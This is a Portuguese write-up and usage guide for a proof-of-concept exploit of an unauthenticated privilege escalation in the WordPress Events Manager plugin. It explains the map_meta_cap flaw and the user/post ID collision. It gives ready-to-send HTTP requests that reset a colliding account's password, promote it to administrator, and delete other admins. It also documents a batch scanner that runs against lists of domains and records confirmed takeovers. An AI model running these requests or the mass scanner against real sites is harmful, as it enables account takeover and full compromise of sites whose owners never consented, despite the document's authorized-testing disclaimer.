
PoC de escalada de privilégios sem autenticação para WordPress Events Manager < 7.4.1; descobre IDs de posts/usuários em colisão e eleva os alvos para administrador via REST ou wp-admin.
| Produto | Events Manager (plugin WordPress) |
| Versões afetadas | 7.1.0 – 7.4.0.x |
| Versão corrigida | 7.4.1 |
| Fraqueza | CWE-269: Improper Privilege Management |
| Severidade | CVSS 3.1: 9.8 (Crítica) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ID WPVDB | 82767ce2-01e4-46ad-a52b-72d3ab2049bd |
| Pesquisador original | Jakub Herman |
| Write-up e PoC | ghostpel |
poc.py).As versões 7.1.0 a 7.4.0.x do Events Manager contêm uma vulnerabilidade de escalada de privilégios que permite a um atacante completamente não autenticado assumir o controle de qualquer conta de usuário cujo ID colida com o ID de um dos posts do próprio plugin (event / location / event-recurring / location-recurring). A colisão pode ser forçada em sites com reservas de convidados (guest bookings) habilitadas (o padrão): cada reserva de convidado cria uma conta de usuário real e avança o contador de autoincremento do wp_users em um, permitindo que um atacante "caminhe" pelo espaço de IDs de usuário até atingir um ID de post de event/location.
A causa raiz: o filtro map_meta_cap do plugin descarta a lista de capacidades que o WordPress já havia calculado ($caps = []) para qualquer meta capacidade, sempre que o ID do objeto da capacidade resolve para um post de event/location — incluindo capacidades do núcleo do WordPress, como edit_user, delete_user, promote_user e remove_user. Uma lista de capacidades vazia é interpretada como "nenhuma capacidade necessária" — ou seja, permitido para todos, incluindo usuários desconectados.
Consequências (todas não autenticadas, via API REST do WP): alterar a senha de qualquer conta em colisão, escaloná-la para administrator ou excluí-la.
Versão analisada: 7.4.0.1 (vulnerável) — comparada (diff) com 7.4.1 (corrigida).
| Versão | Status |
|---|---|
| ≤ 7.0.5 | Não afetada (o legado em_map_meta_cap lida apenas com as capacidades próprias do EM) |
| 7.1.0 – 7.4.0.x | (o sistema de arquétipos com o defeituoso foi introduzido na versão 7.1.0) |
map_meta_cap esvazia $capsclasses/em-archetypes.php (versão 7.4.0.1):
Consequência: toda verificação de current_user_can('edit_user', X) / delete_user / promote_user / remove_user retorna TRUE sempre que X é igual ao ID de um post de event/location. O plugin "descarta as decisões de controle de acesso que o WordPress já havia tomado" — exatamente como descrito pelo WPScan.
Verificado comparando (diff) 7.4.0.1 com 7.4.1: a redefinição agora é protegida por uma correspondência exata de capacidade por ramo (ex.: && $c['read'][$post->post_type] == $cap), portanto $caps só é esvaziado quando a capacidade solicitada é realmente uma meta-capacidade de arquétipo. Comentário do patch: "Redefinir em qualquer capacidade que carregue objeto esvaziava a lista de requisitos para capacidades não relacionadas (ex.: edit_user, promote_user), o que era interpretado como permissão."
Os endpoints REST de Usuários (/wp-json/wp/v2/users/{id}) não possuem barreira global de login — o controle de acesso é feito puramente por callbacks de permissão, todos passando pelo mesmo filtro map_meta_cap:
Efeito colateral: edit_comment também é afetado quando um ID de comentário coincide com um ID de post de event/location (a tabela wp_comments compartilha o espaço numérico).
A colisão existe porque wp_users.ID e wp_posts.ID são sequências de autoincremento independentes que inevitavelmente se sobrepõem. Reservas de convidados forçam essa colisão:
em-install.php:896 — dbem_bookings_anonymous = 1: reservas de convidados habilitadas por padrão; :871 dbem_bookings_registration_disable = 0 (registro habilitado).em-actions.php:340-344 — booking_add está em $booking_nopriv_actions → chamável sem login (via wp_ajax_nopriv_booking_add, prioridade 999999, linhas :817-830, ou wp_loaded :11).em-actions.php:360-375 — fluxo do booking_add: → → → → . (O nonce é apenas proteção contra CSRF — o nonce é renderizado no formulário público de reserva, portanto qualquer pessoa pode obtê-lo.)Cadeia secundária observada durante a auditoria (atribuição de reserva via person_id) — events-manager.php:430-437 (em_load_event, $EM_Person a partir de $_REQUEST['person_id'] sem login), em-booking.php:1060-1072 (get_person() sobrescreve o person_id de uma nova reserva), em-booking.php:2004-2006 (can_manage() = TRUE para uma reserva sem ID), em-functions.php:448-449 — inalterado na versão 7.4.1; é um vetor separado (atribuição incorreta de reserva), não o núcleo deste CVE.
Determine o ID alvo. Enumere os IDs de posts públicos de event/location (permalinks, feeds, /wp-json/wp/v2/event ou força bruta sequencial de IDs). Digamos que o alvo seja N.
(Opcional — forçando a colisão) Envie reservas de convidado repetidas para que a próxima conta receba o ID N:
POST /wp-admin/admin-ajax.php?action=booking_add
event_id=<E>&em_tickets[<T>][spaces]=1
&user_email=attacker%40mail.com&user_name=Attacker
&_wpnonce=<nonce from the public booking form>
Cada POST → uma nova conta; a conta com ID N pertence ao atacante (a senha é enviada por e-mail para o endereço do atacante).
Escale para Administrador e altere a senha:
PUT /wp-json/wp/v2/users/N
Content-Type: application/json
{"password":"Pwned123!","roles":["administrator"]}
Os callbacks de permissão edit_user + promote_user passam porque get_post(N) resolve para um post de event/location → $caps = [].
(Se uma — ex.: um administrador antigo — já possui o ID colidindo com um ID de post de event, o passo 2 é desnecessário; o atacante assume diretamente essa conta.)
event/location registrados).poc.pypoc.py é um PoC assíncrono em lote (asyncio + aiohttp) que, por alvo: obtém a impressão digital da versão do EM (restrita à faixa vulnerável [7.1, 7.4.1)), descobre IDs de posts do EM acessíveis externamente (sitemap do WP → /locations/, opcionalmente um rastreamento do formulário de reserva), testa os IDs descobertos quanto à existência de uma conta de usuário (a condição de colisão) e escalona aqueles que colidem — via canal REST, ou pelo canal wp-admin quando uma sessão é fornecida e o REST está bloqueado. Sem varredura cega de faixa de usuários, sem reservas de convidados, sem criação de contas.
O executor multiplexa todo o I/O em um único event loop (quase 0% de CPU quando limitado por I/O; -t limita a concorrência em vez de núcleos), verifica apenas blocos limitados de 64 KiB no início (head) no loop, transfere análises pesadas (XML do sitemap, pacote da página rastreada, formulário de perfil) para threads de trabalho via asyncio.to_thread e aplica o atraso de polidez em cada tentativa de página. A lógica de forçar a colisão em si permanece inalterada (mesmas barreiras, mesmos oráculos, mesma verificação).
py -3 poc.py -l domains.txt # batch (defaults: hasil.txt + id-post.txt)
py -3 poc.py -l domains.txt -t 50 -v
py -3 poc.py https://target.example -v # single domain
py -3 poc.py -l domains.txt --crawl # add booking-page crawl discovery
py -3 poc.py -l domains.txt --wp-login sub --wp-password 'Pass1!' \
--wp-session 'wordpress_logged_in_abc=...' # wp-admin fallback channel
Requisitos: Python 3.9+, pip install aiohttp.
Os resultados são transmitidos para hasil.txt (assunções de controle confirmadas) e id-post.txt (todo domínio vulnerável onde IDs de posts do EM foram descobertos, com collision=yes/no/unknown).
Nota: este PoC foi reconstruído de forma independente a partir da análise estática do código-fonte da versão 7.4.0.1 e do diff do patch da 7.4.1 — ele não é o PoC do WPScan.
SOMENTE TESTES DE SEGURANÇA AUTORIZADOS. Execute exclusivamente contra sistemas que você possua ou para os quais tenha permissão explícita por escrito para testar. O PoC realiza requisições HTTP simples — sem evasão; pode ser visível em logs/IDS.
dbem_bookings_anonymous), restrinja os endpoints REST de usuários no nível do WAF e monitore alterações de senha, escalonamentos de função e exclusões de contas.map_meta_cap| 7.4.1 | Corrigida |
| Linha | Código | Função |
|---|
:33 | add_filter( 'map_meta_cap', [ static::class, 'map_meta_cap'], 10, 4 ); | Filtro global e incondicional — executa para toda verificação de meta-capacidade do WordPress, incluindo as do núcleo e as de usuários desconectados |
:547 | if ( !empty( $args[0] ) ) { | O objeto da capacidade é tratado como um ID de post |
:548 | $post = get_post($args[0]); | Colisão de ID: o ID do usuário alvo (para capacidades como edit_user) é tratado como um ID de post |
:551 | `if( empty($post->post_type) | |
:563 | `if ( !empty( $c['read'][$post->post_type] ) | |
:564–565 | $caps = []; | A lista de capacidades é descartada incondicionalmente — mesmo que a capacidade solicitada não seja uma capacidade de arquétipo read/edit/delete_event |
:568/577/584 | if/elseif branches | $caps só é preenchido novamente quando $cap corresponde exatamente a uma meta-capacidade de arquétipo; para edit_user, delete_user, promote_user, remove_user nenhum ramo corresponde → $caps permanece vazio |
:597 | return $caps; | Array vazio = "nenhuma capacidade necessária" = PERMITIDO para qualquer um, incluindo o ID de usuário 0 |
| Ação | Endpoint / função do núcleo | Capacidade contornada |
|---|
| Alterar a senha da conta alvo | PUT /wp-json/wp/v2/users/{id} com {"password":"..."} → wp_update_user() (verificação interna de edit_user) | edit_user |
| Escalonar a conta para Administrador | PUT /wp-json/wp/v2/users/{id} com {"roles":["administrator"]} | promote_user |
| Excluir uma conta | DELETE /wp-json/wp/v2/users/{id}?reassign=... → wp_delete_user() (verificação interna de delete_user) | delete_user |
| (Multisite) remover um usuário do blog | remove_user | remove_user |
em_verify_nonce('booking_add')get_post()validate()em_booking_add_registration()$EM_Bookings->add()booking_addem-functions.php:405-417 — ramo de convidado: em_register_new_user($user_data) com o e-mail do atacante.em-functions.php:510 — wp_insert_user($user_data) → o autoincremento de wp_users avança em 1 a cada reserva de convidado → o atacante controla a taxa de crescimento do contador de IDs de usuário até atingir o ID de post de event/location desejado (WPScan: "cada reserva de convidado cria uma conta de usuário real e avança o contador de IDs de usuário em um").NExclua outras contas cujos IDs colidem (ex.: outro administrador):
DELETE /wp-json/wp/v2/users/M?reassign=N
Faça login como administrador → comprometimento total do site.